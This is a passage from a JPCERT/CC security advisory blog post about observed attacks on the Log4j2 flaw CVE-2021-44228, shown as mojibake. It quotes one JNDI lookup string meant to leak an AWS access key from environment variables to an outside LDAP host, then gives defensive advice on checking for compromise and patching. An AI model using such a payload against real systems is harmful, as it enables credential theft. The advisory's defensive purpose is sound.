Apache Log4j2ã®RCE脆弱性（CVE-2021-44228）を狙ã†æ”»æ’ƒè¦³æ¸¬ - JPCERT/CC Eyesã¾ãŸã€JPCERT/CCã®ãƒãƒ‹ãƒ¼ãƒãƒƒãƒˆã§ã¯è¦³æ¸¬ã•ã‚Œã¦ã„ã¾ã›ã‚“ãŒã€AWSã®ã‚¢ã‚¯ã‚»ã‚¹ã‚ãƒ¼æƒ…å ±ã‚’ç’°å¢ƒå¤‰æ•°ã‹ã‚‰çªƒå–ã—よã†ã¨ã™ã‚‹ä»¥ä¸‹ã®æ”»æ’ƒæ–‡å—列ãŒå˜åœ¨ã—ã¦ã„ã‚‹ã“ã¨ã‚‚確èªã—ã¦ã„ã¾ã™ã€‚ ${jndi:ldap://${env:AWS_ACCESS_KEY}.(ç•¥)} 被害ã®ç¢ºèªãŠã‚ˆã³å¯¾å‡¦ log4j2ã¯æŽ¡ç”¨äº‹ä¾‹ãŒéžå¸¸ã«å¤šãã€ã¾ãŸè‡ªèº«ãŒlog4jをプãƒã‚°ãƒ©ãƒ ã«å–り込んã 覚ãˆãŒãªãã¨ã‚‚ã€ä½¿ç”¨ã—ã¦ã„るライブラリ内ã«å†…包ã•ã‚Œã¦ã„るケースも多ãã‚ã‚‹ã‚‚ã®ã¨è€ƒãˆã‚‰ã‚Œã¾ã™ã€‚影響確èªã«ãŠã„ã¦ã¯ã€è‡ªçµ„ç¹”ã§ç”¨ã„られã¦ã„るソフトウェア資産ã®æ•´ç†ã‚‚ã•ã‚‹ã“ã¨ãªãŒã‚‰ã€æ—¢ã«ä¸æ£ãªã‚¢ã‚¯ã‚»ã‚¹ãŒè¡Œã‚ã‚Œã¦ã„ã‚‹ã¨ã„ã†æƒ³å®šã®ã‚‚ã¨ã€ã‚·ã‚¹ãƒ†ãƒ 内ã«ä¸å¯©ãªãƒ•ã‚¡ã‚¤ãƒ«ç‰ãŒé…ç½®ã•ã‚Œã¦ã„ãªã„ã‹ã€ã¾ãŸä¸å¯©ãªå®›å…ˆã«å¯¾ã—ã¦é€šä¿¡ãŒç™ºç”Ÿã—ã¦ã„ãªã„ã‹ç¢ºèªã—ã€å†·é™ã«ã‚·ã‚¹ãƒ†ãƒ ã®ã‚¢ãƒƒãƒ—デートã¾ãŸå›žé¿ç–ã®é©ç”¨ã‚’実施ã—ã¦ã„ãŸã ããŸã„ã¨æ€ã„ã¾ã™ã€‚ å‚è€ƒæƒ…å ± ï¼»1ï¼½ Log4j Apac
{{#tags}}- {{label}}
{{/tags}}